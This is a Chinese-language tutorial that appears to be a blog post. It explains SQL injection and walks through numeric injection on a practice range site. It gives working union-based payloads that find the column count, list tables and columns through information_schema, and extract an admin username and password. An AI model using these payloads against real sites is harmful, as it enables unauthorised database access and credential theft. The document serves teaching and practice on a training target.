渗透测试之sql注入

原文地址
什么是SQL注入？

SQL 注入（SQL Injection）是发生在 Web 程序中数据库层的安全漏洞，是网站存在最多也是最简单的漏洞。主要原因是程序对用户输入数据的合法性没有判断和处理，导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步获取到数据信息。

SQL注入的原理是什么？

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严，攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句，在管理员不知情的情况下实现非法操作，以此来实现欺骗数据库服务器执行非授权的任意查询，从而进一步得到相应的数据信息。（用户输入的数据，被当SQL语句在目标服务器上来进行执行，以此来获得自己想要的数据）

SQL注入有哪几种类型？

SQL注入类型有以下6种：1. 数字类型的注入；2. 字串类型的注入；3. GET注入；4. POST注入；5. COOKIE注入；6. HTTP注入。SQL注入是通过将恶意的 SQL 查询或添加语句插入到应用的输入参数中，再在后台 SQL 服务器上解析执行进行的攻击。

一.数字类型注入

1.1如何判断是否存在sql注入

我们在封神台靶场上来进行测验 靶场地址

靶场页面就是这样的

点击查看新闻1

会出现id=1 在id=1后面输入一个单引号 ’ 单引号是英文的单引号,并且在url输入的字符都应为英文

输入之后他会报错 回想一下没输入之前页面上是有 猫舍介绍 输入之后页面却不显示 这是因为不符合语法 所以该语句肯定会出错 导致脚本程序无法从数据库获取数据 从而使原来的页面出现异常

继续在id=1 后面输入 and 1=1 1和and之间需要空格

这时它的页面怎么是又是正常的 是因为语句正确 执行正常 返回的数据与原始请求无任何差异

把id=1 and 1=1 改成 id=1 and 1=2

当id=1 and 1=2 页面怎么又报错了 因为虽然语法正确，语句执行正常，但是逻辑错误，因为 1 = 2 为假，所以返回数据与原始请求有差异。如果以上三个步骤全部满足，则程序就可能存在数字型 SQL 注入漏洞。

1.2如何获取目标网站的数据

既然确定了此网站存在SQL注入 那么我们就要获取到我们想到得到的数据

1.1 查字段数

在id=1 后面输入 order by 1 ，order by 2， order by 3 … 直到页面报错

当输入到 order by 3 时页面报错 那么它的字段数应为2 因为order by 2 时他并没有报错 order by 3 时报错 证明它并不存在3个字段 所以他的字段数应该为2

1.2 查询回显点

在id=1后输入 and 1=2 union select 1,2 看到了没他的页面出现了2 所以他的回显点为2

1. 3查询当前使用库

1.4查询表

?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

表名为 admin

1.5 查字段

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1

1.6 查用户名

用户名为admin

?id=1 and 1=2 union select 1,username from admin limit 0,1

查密码

密码为hellohack

?id=1 and 1=2 union select 1,password from admin limit 0,1